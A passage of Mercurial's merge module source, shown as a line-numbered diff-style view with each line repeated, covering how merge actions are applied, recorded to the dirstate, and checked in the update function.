1964 repo.ui.note(_(b"moving %s to %s\n") % (f0, f))
1965 wctx[f].audit()
1965 wctx[f].audit()
1966 wctx[f].write(wctx.filectx(f0).data(), flags)
1966 wctx[f].write(wctx.filectx(f0).data(), flags)
1967 wctx[f0].remove()
1967 wctx[f0].remove()
1968 updated += 1
1968 updated += 1
1969
1969
1970 # local directory rename, get
1970 # local directory rename, get
1971 for f, args, msg in actions[ACTION_LOCAL_DIR_RENAME_GET]:
1971 for f, args, msg in actions[ACTION_LOCAL_DIR_RENAME_GET]:
1972 repo.ui.debug(b" %s: %s -> dg\n" % (f, msg))
1972 repo.ui.debug(b" %s: %s -> dg\n" % (f, msg))
1973 progress.increment(item=f)
1973 progress.increment(item=f)
1974 f0, flags = args
1974 f0, flags = args
1975 repo.ui.note(_(b"getting %s to %s\n") % (f0, f))
1975 repo.ui.note(_(b"getting %s to %s\n") % (f0, f))
1976 wctx[f].write(mctx.filectx(f0).data(), flags)
1976 wctx[f].write(mctx.filectx(f0).data(), flags)
1977 updated += 1
1977 updated += 1
1978
1978
1979 # exec
1979 # exec
1980 for f, args, msg in actions[ACTION_EXEC]:
1980 for f, args, msg in actions[ACTION_EXEC]:
1981 repo.ui.debug(b" %s: %s -> e\n" % (f, msg))
1981 repo.ui.debug(b" %s: %s -> e\n" % (f, msg))
1982 progress.increment(item=f)
1982 progress.increment(item=f)
1983 (flags,) = args
1983 (flags,) = args
1984 wctx[f].audit()
1984 wctx[f].audit()
1985 wctx[f].setflags(b'l' in flags, b'x' in flags)
1985 wctx[f].setflags(b'l' in flags, b'x' in flags)
1986 updated += 1
1986 updated += 1
1987
1987
1988 # the ordering is important here -- ms.mergedriver will raise if the merge
1988 # the ordering is important here -- ms.mergedriver will raise if the merge
1989 # driver has changed, and we want to be able to bypass it when overwrite is
1989 # driver has changed, and we want to be able to bypass it when overwrite is
1990 # True
1990 # True
1991 usemergedriver = not overwrite and mergeactions and ms.mergedriver
1991 usemergedriver = not overwrite and mergeactions and ms.mergedriver
1992
1992
1993 if usemergedriver:
1993 if usemergedriver:
1994 if wctx.isinmemory():
1994 if wctx.isinmemory():
1995 raise error.InMemoryMergeConflictsError(
1995 raise error.InMemoryMergeConflictsError(
1996 b"in-memory merge does not support mergedriver"
1996 b"in-memory merge does not support mergedriver"
1997 )
1997 )
1998 ms.commit()
1998 ms.commit()
1999 proceed = driverpreprocess(repo, ms, wctx, labels=labels)
1999 proceed = driverpreprocess(repo, ms, wctx, labels=labels)
2000 # the driver might leave some files unresolved
2000 # the driver might leave some files unresolved
2001 unresolvedf = set(ms.unresolved())
2001 unresolvedf = set(ms.unresolved())
2002 if not proceed:
2002 if not proceed:
2003 # XXX setting unresolved to at least 1 is a hack to make sure we
2003 # XXX setting unresolved to at least 1 is a hack to make sure we
2004 # error out
2004 # error out
2005 return updateresult(
2005 return updateresult(
2006 updated, merged, removed, max(len(unresolvedf), 1)
2006 updated, merged, removed, max(len(unresolvedf), 1)
2007 )
2007 )
2008 newactions = []
2008 newactions = []
2009 for f, args, msg in mergeactions:
2009 for f, args, msg in mergeactions:
2010 if f in unresolvedf:
2010 if f in unresolvedf:
2011 newactions.append((f, args, msg))
2011 newactions.append((f, args, msg))
2012 mergeactions = newactions
2012 mergeactions = newactions
2013
2013
2014 try:
2014 try:
2015 # premerge
2015 # premerge
2016 tocomplete = []
2016 tocomplete = []
2017 for f, args, msg in mergeactions:
2017 for f, args, msg in mergeactions:
2018 repo.ui.debug(b" %s: %s -> m (premerge)\n" % (f, msg))
2018 repo.ui.debug(b" %s: %s -> m (premerge)\n" % (f, msg))
2019 progress.increment(item=f)
2019 progress.increment(item=f)
2020 if f == b'.hgsubstate': # subrepo states need updating
2020 if f == b'.hgsubstate': # subrepo states need updating
2021 subrepoutil.submerge(
2021 subrepoutil.submerge(
2022 repo, wctx, mctx, wctx.ancestor(mctx), overwrite, labels
2022 repo, wctx, mctx, wctx.ancestor(mctx), overwrite, labels
2023 )
2023 )
2024 continue
2024 continue
2025 wctx[f].audit()
2025 wctx[f].audit()
2026 complete, r = ms.preresolve(f, wctx)
2026 complete, r = ms.preresolve(f, wctx)
2027 if not complete:
2027 if not complete:
2028 numupdates += 1
2028 numupdates += 1
2029 tocomplete.append((f, args, msg))
2029 tocomplete.append((f, args, msg))
2030
2030
2031 # merge
2031 # merge
2032 for f, args, msg in tocomplete:
2032 for f, args, msg in tocomplete:
2033 repo.ui.debug(b" %s: %s -> m (merge)\n" % (f, msg))
2033 repo.ui.debug(b" %s: %s -> m (merge)\n" % (f, msg))
2034 progress.increment(item=f, total=numupdates)
2034 progress.increment(item=f, total=numupdates)
2035 ms.resolve(f, wctx)
2035 ms.resolve(f, wctx)
2036
2036
2037 finally:
2037 finally:
2038 ms.commit()
2038 ms.commit()
2039
2039
2040 unresolved = ms.unresolvedcount()
2040 unresolved = ms.unresolvedcount()
2041
2041
2042 if (
2042 if (
2043 usemergedriver
2043 usemergedriver
2044 and not unresolved
2044 and not unresolved
2045 and ms.mdstate() != MERGE_DRIVER_STATE_SUCCESS
2045 and ms.mdstate() != MERGE_DRIVER_STATE_SUCCESS
2046 ):
2046 ):
2047 if not driverconclude(repo, ms, wctx, labels=labels):
2047 if not driverconclude(repo, ms, wctx, labels=labels):
2048 # XXX setting unresolved to at least 1 is a hack to make sure we
2048 # XXX setting unresolved to at least 1 is a hack to make sure we
2049 # error out
2049 # error out
2050 unresolved = max(unresolved, 1)
2050 unresolved = max(unresolved, 1)
2051
2051
2052 ms.commit()
2052 ms.commit()
2053
2053
2054 msupdated, msmerged, msremoved = ms.counts()
2054 msupdated, msmerged, msremoved = ms.counts()
2055 updated += msupdated
2055 updated += msupdated
2056 merged += msmerged
2056 merged += msmerged
2057 removed += msremoved
2057 removed += msremoved
2058
2058
2059 extraactions = ms.actions()
2059 extraactions = ms.actions()
2060 if extraactions:
2060 if extraactions:
2061 mfiles = set(a[0] for a in actions[ACTION_MERGE])
2061 mfiles = set(a[0] for a in actions[ACTION_MERGE])
2062 for k, acts in pycompat.iteritems(extraactions):
2062 for k, acts in pycompat.iteritems(extraactions):
2063 actions[k].extend(acts)
2063 actions[k].extend(acts)
2064 if k == ACTION_GET and wantfiledata:
2064 if k == ACTION_GET and wantfiledata:
2065 # no filedata until mergestate is updated to provide it
2065 # no filedata until mergestate is updated to provide it
2066 for a in acts:
2066 for a in acts:
2067 getfiledata[a[0]] = None
2067 getfiledata[a[0]] = None
2068 # Remove these files from actions[ACTION_MERGE] as well. This is
2068 # Remove these files from actions[ACTION_MERGE] as well. This is
2069 # important because in recordupdates, files in actions[ACTION_MERGE]
2069 # important because in recordupdates, files in actions[ACTION_MERGE]
2070 # are processed after files in other actions, and the merge driver
2070 # are processed after files in other actions, and the merge driver
2071 # might add files to those actions via extraactions above. This can
2071 # might add files to those actions via extraactions above. This can
2072 # lead to a file being recorded twice, with poor results. This is
2072 # lead to a file being recorded twice, with poor results. This is
2073 # especially problematic for actions[ACTION_REMOVE] (currently only
2073 # especially problematic for actions[ACTION_REMOVE] (currently only
2074 # possible with the merge driver in the initial merge process;
2074 # possible with the merge driver in the initial merge process;
2075 # interrupted merges don't go through this flow).
2075 # interrupted merges don't go through this flow).
2076 #
2076 #
2077 # The real fix here is to have indexes by both file and action so
2077 # The real fix here is to have indexes by both file and action so
2078 # that when the action for a file is changed it is automatically
2078 # that when the action for a file is changed it is automatically
2079 # reflected in the other action lists. But that involves a more
2079 # reflected in the other action lists. But that involves a more
2080 # complex data structure, so this will do for now.
2080 # complex data structure, so this will do for now.
2081 #
2081 #
2082 # We don't need to do the same operation for 'dc' and 'cd' because
2082 # We don't need to do the same operation for 'dc' and 'cd' because
2083 # those lists aren't consulted again.
2083 # those lists aren't consulted again.
2084 mfiles.difference_update(a[0] for a in acts)
2084 mfiles.difference_update(a[0] for a in acts)
2085
2085
2086 actions[ACTION_MERGE] = [
2086 actions[ACTION_MERGE] = [
2087 a for a in actions[ACTION_MERGE] if a[0] in mfiles
2087 a for a in actions[ACTION_MERGE] if a[0] in mfiles
2088 ]
2088 ]
2089
2089
2090 progress.complete()
2090 progress.complete()
2091 assert len(getfiledata) == (len(actions[ACTION_GET]) if wantfiledata else 0)
2091 assert len(getfiledata) == (len(actions[ACTION_GET]) if wantfiledata else 0)
2092 return updateresult(updated, merged, removed, unresolved), getfiledata
2092 return updateresult(updated, merged, removed, unresolved), getfiledata
2093
2093
2094
2094
2095 def recordupdates(repo, actions, branchmerge, getfiledata):
2095 def recordupdates(repo, actions, branchmerge, getfiledata):
2096 """record merge actions to the dirstate"""
2096 """record merge actions to the dirstate"""
2097 # remove (must come first)
2097 # remove (must come first)
2098 for f, args, msg in actions.get(ACTION_REMOVE, []):
2098 for f, args, msg in actions.get(ACTION_REMOVE, []):
2099 if branchmerge:
2099 if branchmerge:
2100 repo.dirstate.remove(f)
2100 repo.dirstate.remove(f)
2101 else:
2101 else:
2102 repo.dirstate.drop(f)
2102 repo.dirstate.drop(f)
2103
2103
2104 # forget (must come first)
2104 # forget (must come first)
2105 for f, args, msg in actions.get(ACTION_FORGET, []):
2105 for f, args, msg in actions.get(ACTION_FORGET, []):
2106 repo.dirstate.drop(f)
2106 repo.dirstate.drop(f)
2107
2107
2108 # resolve path conflicts
2108 # resolve path conflicts
2109 for f, args, msg in actions.get(ACTION_PATH_CONFLICT_RESOLVE, []):
2109 for f, args, msg in actions.get(ACTION_PATH_CONFLICT_RESOLVE, []):
2110 (f0,) = args
2110 (f0,) = args
2111 origf0 = repo.dirstate.copied(f0) or f0
2111 origf0 = repo.dirstate.copied(f0) or f0
2112 repo.dirstate.add(f)
2112 repo.dirstate.add(f)
2113 repo.dirstate.copy(origf0, f)
2113 repo.dirstate.copy(origf0, f)
2114 if f0 == origf0:
2114 if f0 == origf0:
2115 repo.dirstate.remove(f0)
2115 repo.dirstate.remove(f0)
2116 else:
2116 else:
2117 repo.dirstate.drop(f0)
2117 repo.dirstate.drop(f0)
2118
2118
2119 # re-add
2119 # re-add
2120 for f, args, msg in actions.get(ACTION_ADD, []):
2120 for f, args, msg in actions.get(ACTION_ADD, []):
2121 repo.dirstate.add(f)
2121 repo.dirstate.add(f)
2122
2122
2123 # re-add/mark as modified
2123 # re-add/mark as modified
2124 for f, args, msg in actions.get(ACTION_ADD_MODIFIED, []):
2124 for f, args, msg in actions.get(ACTION_ADD_MODIFIED, []):
2125 if branchmerge:
2125 if branchmerge:
2126 repo.dirstate.normallookup(f)
2126 repo.dirstate.normallookup(f)
2127 else:
2127 else:
2128 repo.dirstate.add(f)
2128 repo.dirstate.add(f)
2129
2129
2130 # exec change
2130 # exec change
2131 for f, args, msg in actions.get(ACTION_EXEC, []):
2131 for f, args, msg in actions.get(ACTION_EXEC, []):
2132 repo.dirstate.normallookup(f)
2132 repo.dirstate.normallookup(f)
2133
2133
2134 # keep
2134 # keep
2135 for f, args, msg in actions.get(ACTION_KEEP, []):
2135 for f, args, msg in actions.get(ACTION_KEEP, []):
2136 pass
2136 pass
2137
2137
2138 # get
2138 # get
2139 for f, args, msg in actions.get(ACTION_GET, []):
2139 for f, args, msg in actions.get(ACTION_GET, []):
2140 if branchmerge:
2140 if branchmerge:
2141 repo.dirstate.otherparent(f)
2141 repo.dirstate.otherparent(f)
2142 else:
2142 else:
2143 parentfiledata = getfiledata[f] if getfiledata else None
2143 parentfiledata = getfiledata[f] if getfiledata else None
2144 repo.dirstate.normal(f, parentfiledata=parentfiledata)
2144 repo.dirstate.normal(f, parentfiledata=parentfiledata)
2145
2145
2146 # merge
2146 # merge
2147 for f, args, msg in actions.get(ACTION_MERGE, []):
2147 for f, args, msg in actions.get(ACTION_MERGE, []):
2148 f1, f2, fa, move, anc = args
2148 f1, f2, fa, move, anc = args
2149 if branchmerge:
2149 if branchmerge:
2150 # We've done a branch merge, mark this file as merged
2150 # We've done a branch merge, mark this file as merged
2151 # so that we properly record the merger later
2151 # so that we properly record the merger later
2152 repo.dirstate.merge(f)
2152 repo.dirstate.merge(f)
2153 if f1 != f2: # copy/rename
2153 if f1 != f2: # copy/rename
2154 if move:
2154 if move:
2155 repo.dirstate.remove(f1)
2155 repo.dirstate.remove(f1)
2156 if f1 != f:
2156 if f1 != f:
2157 repo.dirstate.copy(f1, f)
2157 repo.dirstate.copy(f1, f)
2158 else:
2158 else:
2159 repo.dirstate.copy(f2, f)
2159 repo.dirstate.copy(f2, f)
2160 else:
2160 else:
2161 # We've update-merged a locally modified file, so
2161 # We've update-merged a locally modified file, so
2162 # we set the dirstate to emulate a normal checkout
2162 # we set the dirstate to emulate a normal checkout
2163 # of that file some time in the past. Thus our
2163 # of that file some time in the past. Thus our
2164 # merge will appear as a normal local file
2164 # merge will appear as a normal local file
2165 # modification.
2165 # modification.
2166 if f2 == f: # file not locally copied/moved
2166 if f2 == f: # file not locally copied/moved
2167 repo.dirstate.normallookup(f)
2167 repo.dirstate.normallookup(f)
2168 if move:
2168 if move:
2169 repo.dirstate.drop(f1)
2169 repo.dirstate.drop(f1)
2170
2170
2171 # directory rename, move local
2171 # directory rename, move local
2172 for f, args, msg in actions.get(ACTION_DIR_RENAME_MOVE_LOCAL, []):
2172 for f, args, msg in actions.get(ACTION_DIR_RENAME_MOVE_LOCAL, []):
2173 f0, flag = args
2173 f0, flag = args
2174 if branchmerge:
2174 if branchmerge:
2175 repo.dirstate.add(f)
2175 repo.dirstate.add(f)
2176 repo.dirstate.remove(f0)
2176 repo.dirstate.remove(f0)
2177 repo.dirstate.copy(f0, f)
2177 repo.dirstate.copy(f0, f)
2178 else:
2178 else:
2179 repo.dirstate.normal(f)
2179 repo.dirstate.normal(f)
2180 repo.dirstate.drop(f0)
2180 repo.dirstate.drop(f0)
2181
2181
2182 # directory rename, get
2182 # directory rename, get
2183 for f, args, msg in actions.get(ACTION_LOCAL_DIR_RENAME_GET, []):
2183 for f, args, msg in actions.get(ACTION_LOCAL_DIR_RENAME_GET, []):
2184 f0, flag = args
2184 f0, flag = args
2185 if branchmerge:
2185 if branchmerge:
2186 repo.dirstate.add(f)
2186 repo.dirstate.add(f)
2187 repo.dirstate.copy(f0, f)
2187 repo.dirstate.copy(f0, f)
2188 else:
2188 else:
2189 repo.dirstate.normal(f)
2189 repo.dirstate.normal(f)
2190
2190
2191
2191
2192 UPDATECHECK_ABORT = b'abort' # handled at higher layers
2192 UPDATECHECK_ABORT = b'abort' # handled at higher layers
2193 UPDATECHECK_NONE = b'none'
2193 UPDATECHECK_NONE = b'none'
2194 UPDATECHECK_LINEAR = b'linear'
2194 UPDATECHECK_LINEAR = b'linear'
2195 UPDATECHECK_NO_CONFLICT = b'noconflict'
2195 UPDATECHECK_NO_CONFLICT = b'noconflict'
2196
2196
2197
2197
2198 def update(
2198 def update(
2199 repo,
2199 repo,
2200 node,
2200 node,
2201 branchmerge,
2201 branchmerge,
2202 force,
2202 force,
2203 ancestor=None,
2203 ancestor=None,
2204 mergeancestor=False,
2204 mergeancestor=False,
2205 labels=None,
2205 labels=None,
2206 matcher=None,
2206 matcher=None,
2207 mergeforce=False,
2207 mergeforce=False,
2208 updatecheck=None,
2208 updatecheck=None,
2209 wc=None,
2209 wc=None,
2210 ):
2210 ):
2211 """
2211 """
2212 Perform a merge between the working directory and the given node
2212 Perform a merge between the working directory and the given node
2213
2213
2214 node = the node to update to
2214 node = the node to update to
2215 branchmerge = whether to merge between branches
2215 branchmerge = whether to merge between branches
2216 force = whether to force branch merging or file overwriting
2216 force = whether to force branch merging or file overwriting
2217 matcher = a matcher to filter file lists (dirstate not updated)
2217 matcher = a matcher to filter file lists (dirstate not updated)
2218 mergeancestor = whether it is merging with an ancestor. If true,
2218 mergeancestor = whether it is merging with an ancestor. If true,
2219 we should accept the incoming changes for any prompts that occur.
2219 we should accept the incoming changes for any prompts that occur.
2220 If false, merging with an ancestor (fast-forward) is only allowed
2220 If false, merging with an ancestor (fast-forward) is only allowed
2221 between different named branches. This flag is used by rebase extension
2221 between different named branches. This flag is used by rebase extension
2222 as a temporary fix and should be avoided in general.
2222 as a temporary fix and should be avoided in general.
2223 labels = labels to use for base, local and other
2223 labels = labels to use for base, local and other
2224 mergeforce = whether the merge was run with 'merge --force' (deprecated): if
2224 mergeforce = whether the merge was run with 'merge --force' (deprecated): if
2225 this is True, then 'force' should be True as well.
2225 this is True, then 'force' should be True as well.
2226
2226
2227 The table below shows all the behaviors of the update command given the
2227 The table below shows all the behaviors of the update command given the
2228 -c/--check and -C/--clean or no options, whether the working directory is
2228 -c/--check and -C/--clean or no options, whether the working directory is
2229 dirty, whether a revision is specified, and the relationship of the parent
2229 dirty, whether a revision is specified, and the relationship of the parent
2230 rev to the target rev (linear or not). Match from top first. The -n
2230 rev to the target rev (linear or not). Match from top first. The -n
2231 option doesn't exist on the command line, but represents the
2231 option doesn't exist on the command line, but represents the
2232 experimental.updatecheck=noconflict option.
2232 experimental.updatecheck=noconflict option.
2233
2233
2234 This logic is tested by test-update-branches.t.
2234 This logic is tested by test-update-branches.t.
2235
2235
2236 -c -C -n -m dirty rev linear | result
2236 -c -C -n -m dirty rev linear | result
2237 y y * * * * * | (1)
2237 y y * * * * * | (1)
2238 y * y * * * * | (1)
2238 y * y * * * * | (1)
2239 y * * y * * * | (1)
2239 y * * y * * * | (1)
2240 * y y * * * * | (1)
2240 * y y * * * * | (1)
2241 * y * y * * * | (1)
2241 * y * y * * * | (1)
2242 * * y y * * * | (1)
2242 * * y y * * * | (1)
2243 * * * * * n n | x
2243 * * * * * n n | x
2244 * * * * n * * | ok
2244 * * * * n * * | ok
2245 n n n n y * y | merge
2245 n n n n y * y | merge
2246 n n n n y y n | (2)
2246 n n n n y y n | (2)
2247 n n n y y * * | merge
2247 n n n y y * * | merge
2248 n n y n y * * | merge if no conflict
2248 n n y n y * * | merge if no conflict
2249 n y n n y * * | discard
2249 n y n n y * * | discard
2250 y n n n y * * | (3)
2250 y n n n y * * | (3)
2251
2251
2252 x = can't happen
2252 x = can't happen
2253 * = don't-care
2253 * = don't-care
2254 1 = incompatible options (checked in commands.py)
2254 1 = incompatible options (checked in commands.py)
2255 2 = abort: uncommitted changes (commit or update --clean to discard changes)
2255 2 = abort: uncommitted changes (commit or update --clean to discard changes)
2256 3 = abort: uncommitted changes (checked in commands.py)
2256 3 = abort: uncommitted changes (checked in commands.py)
2257
2257
2258 The merge is performed inside ``wc``, a workingctx-like objects. It defaults
2258 The merge is performed inside ``wc``, a workingctx-like objects. It defaults
2259 to repo[None] if None is passed.
2259 to repo[None] if None is passed.
2260
2260
2261 Return the same tuple as applyupdates().
2261 Return the same tuple as applyupdates().
2262 """
2262 """
2263 # Avoid cycle.
2263 # Avoid cycle.
2264 from . import sparse
2264 from . import sparse
2265
2265
2266 # This function used to find the default destination if node was None, but
2266 # This function used to find the default destination if node was None, but
2267 # that's now in destutil.py.
2267 # that's now in destutil.py.
2268 assert node is not None
2268 assert node is not None
2269 if not branchmerge and not force:
2269 if not branchmerge and not force:
2270 # TODO: remove the default once all callers that pass branchmerge=False
2270 # TODO: remove the default once all callers that pass branchmerge=False
2271 # and force=False pass a value for updatecheck. We may want to allow
2271 # and force=False pass a value for updatecheck. We may want to allow
2272 # updatecheck='abort' to better suppport some of these callers.
2272 # updatecheck='abort' to better suppport some of these callers.
2273 if updatecheck is None:
2273 if updatecheck is None:
2274 updatecheck = UPDATECHECK_LINEAR
2274 updatecheck = UPDATECHECK_LINEAR
2275 if updatecheck not in (
2275 if updatecheck not in (
2276 UPDATECHECK_NONE,
2276 UPDATECHECK_NONE,
2277 UPDATECHECK_LINEAR,
2277 UPDATECHECK_LINEAR,
2278 UPDATECHECK_NO_CONFLICT,
2278 UPDATECHECK_NO_CONFLICT,
2279 ):
2279 ):
2280 raise ValueError(
2280 raise ValueError(
2281 r'Invalid updatecheck %r (can accept %r)'
2281 r'Invalid updatecheck %r (can accept %r)'
2282 % (
2282 % (
2283 updatecheck,
2283 updatecheck,
2284 (
2284 (
2285 UPDATECHECK_NONE,
2285 UPDATECHECK_NONE,
2286 UPDATECHECK_LINEAR,
2286 UPDATECHECK_LINEAR,
2287 UPDATECHECK_NO_CONFLICT,
2287 UPDATECHECK_NO_CONFLICT,
2288 ),
2288 ),
2289 )
2289 )
2290 )
2290 )
2291 # If we're doing a partial update, we need to skip updating
2291 # If we're doing a partial update, we need to skip updating
2292 # the dirstate, so make a note of any partial-ness to the
2292 # the dirstate, so make a note of any partial-ness to the
2293 # update here.
2293 # update here.
2294 if matcher is None or matcher.always():
2294 if matcher is None or matcher.always():
2295 partial = False
2295 partial = False
2296 else:
2296 else:
2297 partial = True
2297 partial = True
2298 with repo.wlock():
2298 with repo.wlock():
2299 if wc is None:
2299 if wc is None:
2300 wc = repo[None]
2300 wc = repo[None]
2301 pl = wc.parents()
2301 pl = wc.parents()
2302 p1 = pl[0]
2302 p1 = pl[0]
2303 p2 = repo[node]
2303 p2 = repo[node]
2304 if ancestor is not None:
2304 if ancestor is not None:
2305 pas = [repo[ancestor]]
2305 pas = [repo[ancestor]]
2306 else:
2306 else:
2307 if repo.ui.configlist(b'merge', b'preferancestor') == [b'*']:
2307 if repo.ui.configlist(b'merge', b'preferancestor') == [b'*']:
2308 cahs = repo.changelog.commonancestorsheads(p1.node(), p2.node())
2308 cahs = repo.changelog.commonancestorsheads(p1.node(), p2.node())
2309 pas = [repo[anc] for anc in (sorted(cahs) or [nullid])]
2309 pas = [repo[anc] for anc in (sorted(cahs) or [nullid])]
2310 else:
2310 else:
2311 pas = [p1.ancestor(p2, warn=branchmerge)]
2311 pas = [p1.ancestor(p2, warn=branchmerge)]
2312
2312
2313 fp1, fp2, xp1, xp2 = p1.node(), p2.node(), bytes(p1), bytes(p2)
2313 fp1, fp2, xp1, xp2 = p1.node(), p2.node(), bytes(p1), bytes(p2)
2314
2314
2315 overwrite = force and not branchmerge
2315 overwrite = force and not branchmerge
2316 ### check phase
2316 ### check phase
2317 if not overwrite:
2317 if not overwrite:
2318 if len(pl) > 1:
2318 if len(pl) > 1:
2319 raise error.Abort(_(b"outstanding uncommitted merge"))
2319 raise error.Abort(_(b"outstanding uncommitted merge"))
2320 ms = mergestate.read(repo)
2320 ms = mergestate.read(repo)
2321 if list(ms.unresolved()):
2321 if list(ms.unresolved()):
2322 raise error.Abort(
2322 raise error.Abort(
2323 _(b"outstanding merge conflicts"),
2323 _(b"outstanding merge conflicts"),
2324 hint=_(b"use 'hg resolve' to resolve"),
2324 hint=_(b"use 'hg resolve' to resolve"),
2325 )
2325 )
2326 if branchmerge:
2326 if branchmerge:
2327 if pas == [p2]:
2327 if pas == [p2]:
2328 raise error.Abort(
2328 raise error.Abort(
2329 _(
2329 _(
2330 b"merging with a working directory ancestor"
2330 b"merging with a working directory ancestor"
2331 b" has no effect"
2331 b" has no effect"
2332 )
2332 )
2333 )
2333 )
2334 elif pas == [p1]:
2334 elif pas == [p1]:
2335 if not mergeancestor and wc.branch() == p2.branch():
2335 if not mergeancestor and wc.branch() == p2.branch():
2336 raise error.Abort(
2336 raise error.Abort(
2337 _(b"nothing to merge"),
2337 _(b"nothing to merge"),
2338 hint=_(b"use 'hg update' or check 'hg heads'"),
2338 hint=_(b"use 'hg update' or check 'hg heads'"),
2339 )
2339 )
2340 if not force and (wc.files() or wc.deleted()):
2340 if not force and (wc.files() or wc.deleted()):
2341 raise error.Abort(
2341 raise error.Abort(
2342 _(b"uncommitted changes"),
2342 _(b"uncommitted changes"),
2343 hint=_(b"use 'hg status' to list changes"),
2343 hint=_(b"use 'hg status' to list changes"),
2344 )
2344 )
2345 if not wc.isinmemory():
2345 if not wc.isinmemory():
2346 for s in sorted(wc.substate):
2346 for s in sorted(wc.substate):
2347 wc.sub(s).bailifchanged()
2347 wc.sub(s).bailifchanged()
2348
2348
2349 elif not overwrite:
2349 elif not overwrite:
2350 if p1 == p2: # no-op update
2350 if p1 == p2: # no-op update
2351 # call the hooks and exit early
2351 # call the hooks and exit early
2352 repo.hook(b'preupdate', throw=True, parent1=xp2, parent2=b'')
2352 repo.hook(b'preupdate', throw=True, parent1=xp2, parent2=b'')
2353 repo.hook(b'update', parent1=xp2, parent2=b'', error=0)
2353 repo.hook(b'update', parent1=xp2, parent2=b'', error=0)
2354 return updateresult(0, 0, 0, 0)
2354 return updateresult(0, 0, 0, 0)
2355
2355
2356 if updatecheck == UPDATECHECK_LINEAR and pas not in (
2356 if updatecheck == UPDATECHECK_LINEAR and pas not in (
2357 [p1],
2357 [p1],
2358 [p2],
2358 [p2],
2359 ): # nonlinear
2359 ): # nonlinear
2360 dirty = wc.dirty(missing=True)
2360 dirty = wc.dirty(missing=True)
2361 if dirty:
2361 if dirty:
2362 # Branching is a bit strange to ensure we do the minimal
2362 # Branching is a bit strange to ensure we do the minimal
2363 # amount of call to obsutil.foreground.
2363 # amount of call to obsutil.foreground.
2364 foreground = obsutil.foreground(repo, [p1.node()])
2364 foreground = obsutil.foreground(repo, [p1.node()])
2365 # note: the <node> variable contains a random identifier
2365 # note: the <node> variable contains a random identifier
2366 if repo[node].node() in foreground:
2366 if repo[node].node() in foreground:
2367 pass # allow updating to successors
2367 pass # allow updating to successors
2368 else:
2368 else:
2369 msg = _(b"uncommitted changes")
2369 msg = _(b"uncommitted changes")
2370 hint = _(b"commit or update --clean to discard changes")
2370 hint = _(b"commit or update --clean to discard changes")
2371 raise error.UpdateAbort(msg, hint=hint)
2371 raise error.UpdateAbort(msg, hint=hint)
2372 else:
2372 else:
2373 # Allow jumping branches if clean and specific rev given
2373 # Allow jumping branches if clean and specific rev given
2374 pass
2374 pass
2375
2375
2376 if overwrite:
2376 if overwrite:
2377 pas = [wc]
2377 pas = [wc]
2378 elif not branchmerge:
2378 elif not branchmerge:
2379 pas = [p1]
2379 pas = [p1]
2380
2380
2381 # deprecated config: merge.followcopies
2381 # deprecated config: merge.followcopies
2382 followcopies = repo.ui.configbool(b'merge', b'followcopies')
2382 followcopies = repo.ui.configbool(b'merge', b'followcopies')
2383 if overwrite:
2383 if overwrite:
2384 followcopies = False
2384 followcopies = False
2385 elif not pas[0]:
2385 elif not pas[0]:
2386 followcopies = False
2386 followcopies = False
2387 if not branchmerge and not wc.dirty(missing=True):
2387 if not branchmerge and not wc.dirty(missing=True):
2388 followcopies = False
2388 followcopies = False
2389
2389
2390 ### calculate phase
2390 ### calculate phase
2391 actionbyfile, diverge, renamedelete = calculateupdates(
2391 actionbyfile, diverge, renamedelete = calculateupdates(
2392 repo,
2392 repo,
2393 wc,
2393 wc,
2394 p2,
2394 p2,
2395 pas,
2395 pas,
2396 branchmerge,
2396 branchmerge,
2397 force,
2397 force,
2398 mergeancestor,
2398 mergeancestor,
2399 followcopies,
2399 followcopies,
2400 matcher=matcher,
2400 matcher=matcher,
2401 mergeforce=mergeforce,
2401 mergeforce=mergeforce,
2402 )
2402 )
2403
2403
2404 if updatecheck == UPDATECHECK_NO_CONFLICT:
2404 if updatecheck == UPDATECHECK_NO_CONFLICT:
2405 for f, (m, args, msg) in pycompat.iteritems(actionbyfile):
2405 for f, (m, args, msg) in pycompat.iteritems(actionbyfile):
2406 if m not in (
2406 if m not in (
2407 ACTION_GET,
2407 ACTION_GET,
2408 ACTION_KEEP,
2408 ACTION_KEEP,
2409 ACTION_EXEC,
2409 ACTION_EXEC,
2410 ACTION_REMOVE,
2410 ACTION_REMOVE,
2411 ACTION_PATH_CONFLICT_RESOLVE,
2411 ACTION_PATH_CONFLICT_RESOLVE,
2412 ):
2412 ):
2413 msg = _(b"conflicting changes")
2413 msg = _(b"conflicting changes")
2414 hint = _(b"commit or update --clean to discard changes")
2414 hint = _(b"commit or update --clean to discard changes")
2415 raise error.Abort(msg, hint=hint)
2415 raise error.Abort(msg, hint=hint)
2416
2416
2417 # Prompt and create actions. Most of this is in the resolve phase
2417 # Prompt and create actions. Most of this is in the resolve phase
2418 # already, but we can't handle .hgsubstate in filemerge or
2418 # already, but we can't handle .hgsubstate in filemerge or
2419 # subrepoutil.submerge yet so we have to keep prompting for it.
2419 # subrepoutil.submerge yet so we have to keep prompting for it.
2420 if b'.hgsubstate' in actionbyfile:
2420 if b'.hgsubstate' in actionbyfile:
2421 f = b'.hgsubstate'
2421 f = b'.hgsubstate'
2422 m, args, msg = actionbyfile[f]
2422 m, args, msg = actionbyfile[f]
2423 prompts = filemerge.partextras(labels)
2423 prompts = filemerge.partextras(labels)
2424 prompts[b'f'] = f
2424 prompts[b'f'] = f
2425 if m == ACTION_CHANGED_DELETED:
2425 if m == ACTION_CHANGED_DELETED:
2426 if repo.ui.promptchoice(
2426 if repo.ui.promptchoice(
2427 _(
2427 _(
2428 b"local%(l)s changed %(f)s which other%(o)s deleted\n"
2428 b"local%(l)s changed %(f)s which other%(o)s deleted\n"
2429 b"use (c)hanged version or (d)elete?"
2429 b"use (c)hanged version or (d)elete?"
2430 b"$$ &Changed $$ &Delete"
2430 b"$$ &Changed $$ &Delete"
2431 )
2431 )
2432 % prompts,
2432 % prompts,
2433 0,
2433 0,
2434 ):
2434 ):
2435 actionbyfile[f] = (ACTION_REMOVE, None, b'prompt delete')
2435 actionbyfile[f] = (ACTION_REMOVE, None, b'prompt delete')
2436 elif f in p1:
2436 elif f in p1:
2437 actionbyfile[f] = (
2437 actionbyfile[f] = (
2438 ACTION_ADD_MODIFIED,
2438 ACTION_ADD_MODIFIED,
2439 None,
2439 None,
2440 b'prompt keep',
2440 b'prompt keep',
2441 )
2441 )
2442 else:
2442 else:
2443 actionbyfile[f] = (ACTION_ADD, None, b'prompt keep')
2443 actionbyfile[f] = (ACTION_ADD, None, b'prompt keep')
2444 elif m == ACTION_DELETED_CHANGED:
2444 elif m == ACTION_DELETED_CHANGED:
2445 f1, f2, fa, move, anc = args
